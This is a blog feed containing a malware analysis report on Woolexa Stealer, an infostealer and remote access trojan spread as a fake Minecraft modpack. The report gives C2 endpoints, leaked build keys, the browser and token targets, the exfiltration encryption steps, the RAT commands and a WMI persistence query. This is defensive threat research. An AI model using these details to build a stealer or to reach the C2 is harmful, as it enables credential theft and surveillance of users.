<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://quantumcore.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://quantumcore.github.io/" rel="alternate" type="text/html" /><updated>2026-06-17T18:29:14+00:00</updated><id>https://quantumcore.github.io/feed.xml</id><title type="html">QuantumCore</title><subtitle>Technical insights on red teaming, malware development, threat hunting, and deep-dive security research.</subtitle><author><name>Fahad</name></author><entry><title type="html">Woolexa Stealer - Full Malware Analysis Report</title><link href="https://quantumcore.github.io/2026/06/17/woolexa-stealer-analysis.html" rel="alternate" type="text/html" title="Woolexa Stealer - Full Malware Analysis Report" /><published>2026-06-17T00:00:00+00:00</published><updated>2026-06-17T00:00:00+00:00</updated><id>https://quantumcore.github.io/2026/06/17/woolexa-stealer-analysis</id><content type="html" xml:base="https://quantumcore.github.io/2026/06/17/woolexa-stealer-analysis.html"><![CDATA[<h2 id="executive-summary">Executive Summary</h2>

<p>Woolexa Stealer is a .NET Framework 4.8 information stealer and remote access trojan (RAT) distributed via Discord as a fake Minecraft modpack titled <em>“Minecraft Nightmare 1.0.0”</em>. The malware exfiltrates browser credentials, cryptocurrency sessions, Discord tokens, and system intelligence to a compromised domain (<code class="language-plaintext highlighter-rouge">bigscreenmod.com</code>). It maintains persistent real-time access through WebSocket-based HVNC (Hidden Virtual Network Computing), enabling keystroke logging, microphone surveillance, screen streaming, and arbitrary command execution. The C2 infrastructure contains a critical authentication bypass vulnerability: the build key serves as the sole credential for all agent-facing endpoints, allowing anyone with the leaked keys (<code class="language-plaintext highlighter-rouge">mit</code>, <code class="language-plaintext highlighter-rouge">yatowoolexa</code>) to impersonate victims, decrypt exfiltrated data, and observe live operator commands.</p>

<p><img src="/assets/images/image.webp" alt="Woolexa modpack screenshot" /></p>

<p><img src="/assets/images/image%20(1).webp" alt="Discord distribution screenshot" /></p>

<p><strong>Severity:</strong> Critical<br />
<strong>Malware Class:</strong> Infostealer / RAT<br />
<strong>Target Sector:</strong> General consumers (Discord gaming community)<br />
<strong>Origin Attribution:</strong> Turkish-speaking developer(s), tracked as <code class="language-plaintext highlighter-rouge">KUXEY</code></p>

<hr />

<h2 id="key-judgments">Key Judgments</h2>

<ul>
  <li>The malware uses a multi-layered exfiltration pipeline combining AES-256-CBC encryption with XOR obfuscation, keyed per-build.</li>
  <li>C2 authentication is fundamentally broken - a single shared secret (<code class="language-plaintext highlighter-rouge">buildKey</code>) authenticates all agents, endpoints, and WebSocket control channels.</li>
  <li>The <code class="language-plaintext highlighter-rouge">bigscreenmod.com</code> domain is the sole C2 infrastructure, registered March 2026 via GoDaddy, fronted by Cloudflare.</li>
  <li>No privilege escalation exploit is used; UAC bypass relies on registry manipulation and <code class="language-plaintext highlighter-rouge">runas</code> elevation.</li>
  <li>Persistence is primarily achieved through WMI event subscription, with a scheduled task fallback.</li>
  <li>The developer machine hostname (<code class="language-plaintext highlighter-rouge">KUXEY</code>) and PDB path point to a developer using the path <code class="language-plaintext highlighter-rouge">shelcodeloader</code>.</li>
</ul>

<hr />

<h2 id="1-malware-identity">1. Malware Identity</h2>

<table>
  <thead>
    <tr>
      <th>Attribute</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Malware Name</strong></td>
      <td>Woolexa Stealer</td>
    </tr>
    <tr>
      <td><strong>Assembly Name</strong></td>
      <td><code class="language-plaintext highlighter-rouge">BackendMinecraft</code></td>
    </tr>
    <tr>
      <td><strong>Fabric Mod ID</strong></td>
      <td><code class="language-plaintext highlighter-rouge">mcmod</code> (v1.0.0)</td>
    </tr>
    <tr>
      <td><strong>Author Alias</strong></td>
      <td><code class="language-plaintext highlighter-rouge">shelcodeloader</code></td>
    </tr>
    <tr>
      <td><strong>Developer Machine</strong></td>
      <td><code class="language-plaintext highlighter-rouge">KUXEY</code> (from PDB path)</td>
    </tr>
    <tr>
      <td><strong>PDB Path</strong></td>
      <td><code class="language-plaintext highlighter-rouge">C:\Users\KUXEY\Desktop\shelcodeloader\NativeHost\x64\Release\reflective_clr_host.pdb</code></td>
    </tr>
    <tr>
      <td><strong>Language / Framework</strong></td>
      <td>C# (.NET Framework 4.8)</td>
    </tr>
    <tr>
      <td><strong>Origin</strong></td>
      <td>Turkish-speaking (code comments in Turkish)</td>
    </tr>
    <tr>
      <td><strong>Attack Vector</strong></td>
      <td>Social engineering via Discord modpack (<code class="language-plaintext highlighter-rouge">.mrpack</code>)</td>
    </tr>
    <tr>
      <td><strong>Distribution Platform</strong></td>
      <td>Discord (hijacked 7-year-old account)</td>
    </tr>
    <tr>
      <td><strong>Detected AV Engines</strong></td>
      <td>Not reported - no hashes available for VT lookup</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="2-incident-timeline-reconstructed">2. Incident Timeline (Reconstructed)</h2>

<table>
  <thead>
    <tr>
      <th>Date (Estimated)</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>March 2026</td>
      <td><code class="language-plaintext highlighter-rouge">bigscreenmod.com</code> registered via GoDaddy</td>
    </tr>
    <tr>
      <td>Pre-June 2026</td>
      <td>Woolexa Stealer developed on machine <code class="language-plaintext highlighter-rouge">KUXEY</code> in <code class="language-plaintext highlighter-rouge">shelcodeloader</code></td>
    </tr>
    <tr>
      <td>June 2026</td>
      <td>Malicious <code class="language-plaintext highlighter-rouge">.mrpack</code> distributed via compromised Discord account</td>
    </tr>
    <tr>
      <td>June 2026</td>
      <td>Sample acquired and analysis conducted</td>
    </tr>
    <tr>
      <td>June 13, 2026</td>
      <td>C2 panel infrastructure documented during active analysis</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="3-initial-access--distribution">3. Initial Access &amp; Distribution</h2>

<p>The malware was packaged as a Minecraft modpack file (<code class="language-plaintext highlighter-rouge">.mrpack</code>) and distributed through Discord from a hijacked account with seven years of trust history. This social engineering tactic exploits platform trust signals - a long-standing account appears legitimate, lowering victim suspicion.</p>

<p>Upon installation, the modpack loads <code class="language-plaintext highlighter-rouge">BackendMinecraft.dll</code> into the Minecraft process via Fabric mod loading, triggering the full infection chain.</p>

<p><img src="/assets/images/malicious%20activity.png" alt="Malicious modpack distributed via Discord" /></p>

<p><img src="/assets/images/YOOOOOOO.png" alt="Woolexa C2 panel" /></p>

<hr />

<h2 id="4-mitre-attck-mapping">4. MITRE ATT&amp;CK Mapping</h2>

<table>
  <thead>
    <tr>
      <th>Tactic</th>
      <th>Technique ID</th>
      <th>Technique Name</th>
      <th>Woolexa Implementation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Execution</strong></td>
      <td>T1204.002</td>
      <td>User Execution: Malicious File</td>
      <td>Victim voluntarily installs <code class="language-plaintext highlighter-rouge">.mrpack</code> modpack</td>
    </tr>
    <tr>
      <td><strong>Execution</strong></td>
      <td>T1059.001</td>
      <td>Command and Scripting Interpreter: PowerShell</td>
      <td><code class="language-plaintext highlighter-rouge">cmd.exe</code> execution via <code class="language-plaintext highlighter-rouge">EXEC_COMMAND</code></td>
    </tr>
    <tr>
      <td><strong>Persistence</strong></td>
      <td>T1546.003</td>
      <td>Event Triggered Execution: WMI Event Subscription</td>
      <td>Permanent WMI filter running every 60s</td>
    </tr>
    <tr>
      <td><strong>Persistence</strong></td>
      <td>T1053.005</td>
      <td>Scheduled Task/Job</td>
      <td><code class="language-plaintext highlighter-rouge">USOHealthCheck</code> task on <code class="language-plaintext highlighter-rouge">ONSTART</code></td>
    </tr>
    <tr>
      <td><strong>Persistence</strong></td>
      <td>T1574.002</td>
      <td>Hijack Execution Flow: DLL Side-Loading</td>
      <td><code class="language-plaintext highlighter-rouge">cryptbase.dll</code> proxy DLL injection</td>
    </tr>
    <tr>
      <td><strong>Defense Evasion</strong></td>
      <td>T1055.001</td>
      <td>Process Injection: DLL Injection</td>
      <td>Reflective CLR hosting (memory-only load)</td>
    </tr>
    <tr>
      <td><strong>Defense Evasion</strong></td>
      <td>T1112</td>
      <td>Modify Registry</td>
      <td>UAC lowering via <code class="language-plaintext highlighter-rouge">ConsentPromptBehaviorAdmin</code></td>
    </tr>
    <tr>
      <td><strong>Defense Evasion</strong></td>
      <td>T1562.001</td>
      <td>Impair Defenses: Disable/Modify Tools</td>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_ALLOW_INSECURE_SSL</code> disables SSL validation</td>
    </tr>
    <tr>
      <td><strong>Defense Evasion</strong></td>
      <td>T1070.004</td>
      <td>Indicator Removal: File Deletion</td>
      <td>Cleans up <code class="language-plaintext highlighter-rouge">woolexa_*</code>, <code class="language-plaintext highlighter-rouge">err_*.vbs</code>, <code class="language-plaintext highlighter-rouge">elevate_*.vbs</code></td>
    </tr>
    <tr>
      <td><strong>Credential Access</strong></td>
      <td>T1555.003</td>
      <td>Credentials from Password Stores: Web Browsers</td>
      <td>Decrypts browser <code class="language-plaintext highlighter-rouge">Login Data</code> via DPAPI/AES-GCM/ChaCha20</td>
    </tr>
    <tr>
      <td><strong>Credential Access</strong></td>
      <td>T1539</td>
      <td>Steal Web Session Cookie</td>
      <td>Steals cookies for session hijacking</td>
    </tr>
    <tr>
      <td><strong>Credential Access</strong></td>
      <td>T1555</td>
      <td>Credentials from Password Stores</td>
      <td>Discord token extraction from LevelDB</td>
    </tr>
    <tr>
      <td><strong>Collection</strong></td>
      <td>T1056.001</td>
      <td>Input Capture: Keylogging</td>
      <td>WebSocket-controlled keylogger with window titles</td>
    </tr>
    <tr>
      <td><strong>Collection</strong></td>
      <td>T1123</td>
      <td>Audio Capture</td>
      <td>Microphone recording at 48kHz/16-bit/mono</td>
    </tr>
    <tr>
      <td><strong>Collection</strong></td>
      <td>T1113</td>
      <td>Screen Capture</td>
      <td>JPEG streaming at ~2 FPS, single screenshot</td>
    </tr>
    <tr>
      <td><strong>Collection</strong></td>
      <td>T1005</td>
      <td>Data from Local System</td>
      <td>File listing, reading, and exfiltration</td>
    </tr>
    <tr>
      <td><strong>Exfiltration</strong></td>
      <td>T1560.003</td>
      <td>Archive Collected Data: Custom Encryption</td>
      <td>AES-256-CBC + XOR before exfiltration</td>
    </tr>
    <tr>
      <td><strong>Exfiltration</strong></td>
      <td>T1041</td>
      <td>Exfiltration Over C2 Channel</td>
      <td>All data exfiltrated via HTTP POST to <code class="language-plaintext highlighter-rouge">/api/collect</code></td>
    </tr>
    <tr>
      <td><strong>Command and Control</strong></td>
      <td>T1071.001</td>
      <td>Application Layer Protocol: Web Protocols</td>
      <td>HTTPS for data, WSS for real-time C2</td>
    </tr>
    <tr>
      <td><strong>Discovery</strong></td>
      <td>T1082</td>
      <td>System Information Discovery</td>
      <td>HWID, OS, CPU, RAM, AV, IP geolocation</td>
    </tr>
    <tr>
      <td><strong>Privilege Escalation</strong></td>
      <td>T1134</td>
      <td>Access Token Manipulation</td>
      <td><code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>, SYSTEM impersonation from <code class="language-plaintext highlighter-rouge">lsass</code>/<code class="language-plaintext highlighter-rouge">winlogon</code></td>
    </tr>
    <tr>
      <td><strong>Impact</strong></td>
      <td>T1491.001</td>
      <td>Defacement: Internal Defacement</td>
      <td><code class="language-plaintext highlighter-rouge">SET_WALLPAPER</code> command for victim harassment</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="5-internal-configuration">5. Internal Configuration</h2>

<h3 id="51-hardcoded-in-configcs">5.1 Hardcoded in <code class="language-plaintext highlighter-rouge">Config.cs</code></h3>

<table>
  <thead>
    <tr>
      <th>Key</th>
      <th>Value</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SteamApiKey</code></td>
      <td><code class="language-plaintext highlighter-rouge">440D7F4D810EF9298D25EDDF37C1F902</code></td>
      <td>Steam API key for validating stolen Steam accounts</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SteamApiUrl</code></td>
      <td><code class="language-plaintext highlighter-rouge">https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/</code></td>
      <td>Steam API endpoint</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">UserAgent</code></td>
      <td><code class="language-plaintext highlighter-rouge">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36</code></td>
      <td>HTTP User-Agent</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">BackendUrl</code></td>
      <td><strong><code class="language-plaintext highlighter-rouge">https://bigscreenmod.com</code></strong></td>
      <td>C2 server (exfiltration endpoint)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">BuildKey</code></td>
      <td><code class="language-plaintext highlighter-rouge">yatowoolexa</code></td>
      <td>Build identifier (ties victims to attackers in C2 panel)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WsUrl</code></td>
      <td><strong><code class="language-plaintext highlighter-rouge">wss://bigscreenmod.com/agent-ws</code></strong></td>
      <td>WebSocket URL for real-time C2 (HVNC/keylog/audio)</td>
    </tr>
  </tbody>
</table>

<h3 id="52-embedded-config-configembeddedcs">5.2 Embedded Config (<code class="language-plaintext highlighter-rouge">ConfigEmbedded.cs</code>)</h3>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"backendUrl"</span><span class="p">:</span><span class="w"> </span><span class="s2">"https://bigscreenmod.com"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"wsUrl"</span><span class="p">:</span><span class="w"> </span><span class="s2">"wss://bigscreenmod.com/agent-ws"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"buildKey"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mit"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"licenseKey"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The presence of two distinct build keys (<code class="language-plaintext highlighter-rouge">mit</code>, <code class="language-plaintext highlighter-rouge">yatowoolexa</code>) indicates a multi-tenant C2 panel - multiple operators share the same backend infrastructure. The empty <code class="language-plaintext highlighter-rouge">licenseKey</code> field suggests the panel’s licensing mechanism was either disabled or not enforced at the agent level.</p>

<h3 id="53-environment-variable-overrides">5.3 Environment Variable Overrides</h3>

<p>Woolexa supports an extensive set of environment variable overrides, indicating a flexible C2 panel that operators can tune per-deployment:</p>

<table>
  <thead>
    <tr>
      <th>Env Var</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_BACKEND_URL</code></td>
      <td>Override C2 URL</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_BUILD_KEY</code></td>
      <td>Override build key</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_WS_URL</code></td>
      <td>Override WebSocket URL</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_PERSIST_NO_COPY</code></td>
      <td>Skip persistence copy</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_PERSIST_ALWAYS_COPY</code></td>
      <td>Force persistence copy</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_PERSIST_COMMANDLINE</code></td>
      <td>Custom WMI persistence command</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_ALLOW_INSECURE_SSL</code></td>
      <td>Disable SSL certificate validation</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_DISABLE_PANEL_AGENT</code></td>
      <td>Disable HVNC panel</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_HVNC_PRIMARY_ONLY</code></td>
      <td>Only capture primary monitor</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_PANEL_RAM_GB</code></td>
      <td>Fake RAM report to C2</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_NO_ALERT</code></td>
      <td>Suppress C2 alert popup</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_SHOW_ALERT</code></td>
      <td>Force alert popup</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_RVC_SPAWNED</code></td>
      <td>Memory-loaded execution marker</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WOOLEXA_MEMORY_LOADER</code></td>
      <td>Memory-loaded execution marker</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="6-c2-infrastructure">6. C2 Infrastructure</h2>

<p><img src="/assets/images/Pasted%20image%2020260613143404.png" alt="C2 panel login interface" /></p>

<h3 id="61-domains--servers">6.1 Domains &amp; Servers</h3>

<table>
  <thead>
    <tr>
      <th>Component</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>C2 Domain</strong></td>
      <td><code class="language-plaintext highlighter-rouge">bigscreenmod.com</code></td>
    </tr>
    <tr>
      <td><strong>C2 Panel</strong></td>
      <td><code class="language-plaintext highlighter-rouge">https://bigscreenmod.com/auth</code></td>
    </tr>
    <tr>
      <td><strong>C2 WebSocket</strong></td>
      <td><code class="language-plaintext highlighter-rouge">wss://bigscreenmod.com/agent-ws</code> (fallback: <code class="language-plaintext highlighter-rouge">ws://{host}:3001</code>)</td>
    </tr>
    <tr>
      <td><strong>Data Exfiltration</strong></td>
      <td><code class="language-plaintext highlighter-rouge">POST https://bigscreenmod.com/api/collect</code></td>
    </tr>
    <tr>
      <td><strong>Progress Tracking</strong></td>
      <td><code class="language-plaintext highlighter-rouge">POST https://bigscreenmod.com/api/progress</code></td>
    </tr>
    <tr>
      <td><strong>JPEG Screen Stream</strong></td>
      <td><code class="language-plaintext highlighter-rouge">POST https://bigscreenmod.com/api/stream</code></td>
    </tr>
    <tr>
      <td><strong>Panel Alert</strong></td>
      <td><code class="language-plaintext highlighter-rouge">GET https://bigscreenmod.com/api/stealer/alert</code></td>
    </tr>
    <tr>
      <td><strong>Mic Ingestion</strong></td>
      <td><code class="language-plaintext highlighter-rouge">POST https://bigscreenmod.com/api/mic-ingest/*</code></td>
    </tr>
    <tr>
      <td><strong>Origin IP</strong></td>
      <td><code class="language-plaintext highlighter-rouge">130.12.242.204</code> (AS210558)</td>
    </tr>
    <tr>
      <td><strong>Cloudflare IPs</strong></td>
      <td><code class="language-plaintext highlighter-rouge">104.21.64.58</code>, <code class="language-plaintext highlighter-rouge">172.67.176.167</code></td>
    </tr>
    <tr>
      <td><strong>Registrar</strong></td>
      <td>GoDaddy (registered March 2026)</td>
    </tr>
  </tbody>
</table>

<h3 id="62-infrastructure-analysis">6.2 Infrastructure Analysis</h3>

<p>The C2 architecture follows a standard two-tier design: Cloudflare fronts the origin server at <code class="language-plaintext highlighter-rouge">130.12.242.204</code>. The domain <code class="language-plaintext highlighter-rouge">bigscreenmod.com</code> was registered in March 2026, making this a relatively young operation at the time of analysis. The WebSocket fallback on port 3001 is notable - Cloudflare does not proxy non-standard ports by default, meaning direct origin access may be possible by bypassing Cloudflare entirely.</p>

<hr />

<h2 id="7-data-exfiltration-capabilities">7. Data Exfiltration Capabilities</h2>

<h3 id="71-browser-data-theft">7.1 Browser Data Theft</h3>

<p>Extracts credentials and session data from <strong>ALL user profiles on ALL drives</strong> across these browsers:</p>

<ul>
  <li><strong>Chromium-based:</strong> Chrome, Chrome Beta, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Chromium, Comet</li>
  <li><strong>Gecko-based:</strong> Firefox, Waterfox, LibreWolf, Zen</li>
</ul>

<p><strong>Data stolen per browser:</strong></p>

<table>
  <thead>
    <tr>
      <th>Artifact</th>
      <th>Source File</th>
      <th>Decryption Method</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Saved Passwords</td>
      <td><code class="language-plaintext highlighter-rouge">Login Data</code> (SQLite)</td>
      <td>DPAPI / AES-GCM / ChaCha20-Poly1305</td>
    </tr>
    <tr>
      <td>Cookies</td>
      <td><code class="language-plaintext highlighter-rouge">Cookies</code> (SQLite)</td>
      <td>Direct read - used for session hijacking</td>
    </tr>
    <tr>
      <td>Credit Cards</td>
      <td><code class="language-plaintext highlighter-rouge">Web Data</code> (SQLite)</td>
      <td>Card numbers, expiry dates, cardholder names</td>
    </tr>
    <tr>
      <td>Auto-fill Data</td>
      <td><code class="language-plaintext highlighter-rouge">Web Data</code> (SQLite)</td>
      <td>Names, addresses, phone numbers</td>
    </tr>
    <tr>
      <td>Browsing History</td>
      <td><code class="language-plaintext highlighter-rouge">History</code> (SQLite)</td>
      <td>URLs, visit counts, timestamps</td>
    </tr>
    <tr>
      <td>Bookmarks</td>
      <td><code class="language-plaintext highlighter-rouge">Bookmarks</code> (JSON)</td>
      <td>Direct read</td>
    </tr>
    <tr>
      <td>Discord Tokens</td>
      <td>LevelDB stores</td>
      <td>Encrypted and plaintext extraction</td>
    </tr>
  </tbody>
</table>

<h3 id="72-discord-token-theft">7.2 Discord Token Theft</h3>

<p>Scans Discord desktop application LevelDB stores (<code class="language-plaintext highlighter-rouge">Local Storage/leveldb</code>) across five Discord variants: Discord stable, Discord PTB, Discord Canary, Discord Development, and Discord. Also extracts Discord tokens from browser-based LevelDB stores. Matches both encrypted tokens (<code class="language-plaintext highlighter-rouge">dQw4w9WgXcQ:...</code>) and plaintext token patterns.</p>

<h3 id="73-platform-account-hijacking">7.3 Platform Account Hijacking</h3>

<p>Each stolen cookie or session token is validated live against the platform’s API to confirm it is still active:</p>

<table>
  <thead>
    <tr>
      <th>Platform</th>
      <th>Cookie / Token Used</th>
      <th>Data Extracted</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Roblox</strong></td>
      <td><code class="language-plaintext highlighter-rouge">.ROBLOSECURITY</code></td>
      <td>Account ID, username, display name, <strong>Robux balance</strong></td>
    </tr>
    <tr>
      <td><strong>Instagram</strong></td>
      <td><code class="language-plaintext highlighter-rouge">sessionid</code></td>
      <td>Username, email, phone number, full name, follower count</td>
    </tr>
    <tr>
      <td><strong>TikTok</strong></td>
      <td><code class="language-plaintext highlighter-rouge">sessionid</code></td>
      <td>Username, email, display name, follower count</td>
    </tr>
    <tr>
      <td><strong>Spotify</strong></td>
      <td><code class="language-plaintext highlighter-rouge">sp_dc</code></td>
      <td>Username, email, country</td>
    </tr>
    <tr>
      <td><strong>Steam</strong></td>
      <td><code class="language-plaintext highlighter-rouge">loginusers.vdf</code></td>
      <td>SteamID (64-bit), profile name, profile URL (via Steam API)</td>
    </tr>
  </tbody>
</table>

<h3 id="74-victim-system-profiling">7.4 Victim System Profiling</h3>

<p>The malware collects the following intelligence from each compromised host:</p>

<ul>
  <li><strong>Public IP</strong> - resolved via <code class="language-plaintext highlighter-rouge">api.ipify.org</code>, <code class="language-plaintext highlighter-rouge">ipinfo.io</code>, <code class="language-plaintext highlighter-rouge">ip-api.com</code>, <code class="language-plaintext highlighter-rouge">ipapi.co</code></li>
  <li><strong>Geolocation</strong> - country and city from IP geolocation</li>
  <li><strong>Hostname</strong></li>
  <li><strong>OS Version</strong> - full Windows NT version string</li>
  <li><strong>Architecture</strong> - x64 or x86</li>
  <li><strong>RAM</strong> - total and used capacity</li>
  <li><strong>CPU Model</strong> - from <code class="language-plaintext highlighter-rouge">PROCESSOR_IDENTIFIER</code> environment variable</li>
  <li><strong>Hardware ID (HWID)</strong> - from <code class="language-plaintext highlighter-rouge">HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid</code></li>
  <li><strong>Antivirus Status</strong> - checks 22 installation paths and 11 running processes</li>
  <li><strong>Desktop Screenshot</strong> - captured at infection time</li>
</ul>

<h3 id="75-exfiltration-pipeline">7.5 Exfiltration Pipeline</h3>

<ol>
  <li>All stolen data is staged to a temporary directory (<code class="language-plaintext highlighter-rouge">Browser-Datas/</code>)</li>
  <li>Data is compressed (zipped) entirely in memory - no temporary archive written to disk</li>
  <li>The zip archive is encrypted using AES-256-CBC with a key derived from SHA-256(<code class="language-plaintext highlighter-rouge">buildKey</code>); a random IV is prepended to the ciphertext</li>
  <li>The AES ciphertext is then XOR-encrypted with the raw build key string</li>
  <li>The final payload is transmitted as <code class="language-plaintext highlighter-rouge">application/octet-stream</code> via <code class="language-plaintext highlighter-rouge">POST /api/collect</code></li>
  <li>HTTP headers include: <code class="language-plaintext highlighter-rouge">X-Build-Key</code>, <code class="language-plaintext highlighter-rouge">X-Hostname</code>, <code class="language-plaintext highlighter-rouge">X-IP</code></li>
</ol>

<hr />

<h2 id="8-remote-access-hvnc-capabilities">8. Remote Access (HVNC) Capabilities</h2>

<p>The malware maintains a persistent WebSocket connection to <code class="language-plaintext highlighter-rouge">wss://bigscreenmod.com/agent-ws</code> for real-time command and control. The panel supports the following operations:</p>

<h3 id="81-remote-desktop-hvnc">8.1 Remote Desktop (HVNC)</h3>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">MOUSE_MOVE</code></td>
      <td>Move the mouse cursor to specified coordinates</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">MOUSE_CLICK</code></td>
      <td>Simulate a click at specified coordinates</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">KEY_DOWN</code></td>
      <td>Inject keystrokes into the victim’s session</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LAUNCH_BROWSER</code></td>
      <td>Launch an isolated browser in a hidden desktop for covert browsing</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">KILL_BROWSER</code></td>
      <td>Terminate the hidden browser process</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">KILL_EXPLORER</code></td>
      <td>Terminate Windows Explorer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">START_EXPLORER</code></td>
      <td>Restart Windows Explorer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SET_WALLPAPER</code></td>
      <td>Change the desktop wallpaper from a URL (harassment capability)</td>
    </tr>
  </tbody>
</table>

<h3 id="82-surveillance">8.2 Surveillance</h3>

<table>
  <thead>
    <tr>
      <th>Capability</th>
      <th>Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Keylogger</strong></td>
      <td>Captures all keystrokes with associated window titles and timestamps. Controlled via WebSocket: <code class="language-plaintext highlighter-rouge">KEYLOG_START</code>, <code class="language-plaintext highlighter-rouge">KEYLOG_STOP</code>, <code class="language-plaintext highlighter-rouge">KEYLOG_DUMP</code></td>
    </tr>
    <tr>
      <td><strong>Microphone</strong></td>
      <td>Records audio from the default microphone at 48 kHz / 16-bit / mono. Streams raw PCM data via HTTP to <code class="language-plaintext highlighter-rouge">/api/mic-ingest/{session}</code></td>
    </tr>
    <tr>
      <td><strong>Audio Playback</strong></td>
      <td>Plays audio files (WAV/MP3) on the victim’s speakers - enables bidirectional audio for harassment</td>
    </tr>
    <tr>
      <td><strong>Clipboard</strong></td>
      <td>On-demand clipboard read (text content only)</td>
    </tr>
    <tr>
      <td><strong>JPEG Screen Streaming</strong></td>
      <td>Continuous screen capture streamed to <code class="language-plaintext highlighter-rouge">/api/stream</code> at approximately 2 FPS</td>
    </tr>
  </tbody>
</table>

<h3 id="83-file-management">8.3 File Management</h3>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FM_PLACES</code></td>
      <td>Enumerate special folders (Desktop, Downloads, Documents, etc.)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FM_LIST</code></td>
      <td>List directory contents</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FM_READ</code></td>
      <td>Read a file and return base64-encoded content (up to 16 MB)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FM_DOWNLOAD</code></td>
      <td>Download a file as base64 (up to 64 MB)</td>
    </tr>
  </tbody>
</table>

<h3 id="84-command-execution">8.4 Command Execution</h3>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">EXEC_COMMAND</code></td>
      <td>Execute arbitrary <code class="language-plaintext highlighter-rouge">cmd.exe</code> commands with a 120-second timeout. Returns full interactive shell output</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="9-persistence-mechanisms">9. Persistence Mechanisms</h2>

<p>Woolexa implements multiple persistence mechanisms to survive reboot, implemented in <code class="language-plaintext highlighter-rouge">InferencePlanPersistence.cs</code>:</p>

<h3 id="91-wmi-event-subscription-primary">9.1 WMI Event Subscription (Primary)</h3>

<p>Installs a permanent WMI event filter that triggers the malware executable every 60 seconds. Uses <code class="language-plaintext highlighter-rouge">__InstanceModificationEvent</code> on the <code class="language-plaintext highlighter-rouge">Win32_PerfFormattedData_PerfOS_System</code> class:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Query: SELECT * FROM __InstanceModificationEvent WITHIN 60
       WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Filter Name: WindowsUpdateHealthCheck
Consumer Name: WindowsUpdateHealthConsumer
</code></pre></div></div>

<h3 id="92-scheduled-task-fallback">9.2 Scheduled Task (Fallback)</h3>

<ul>
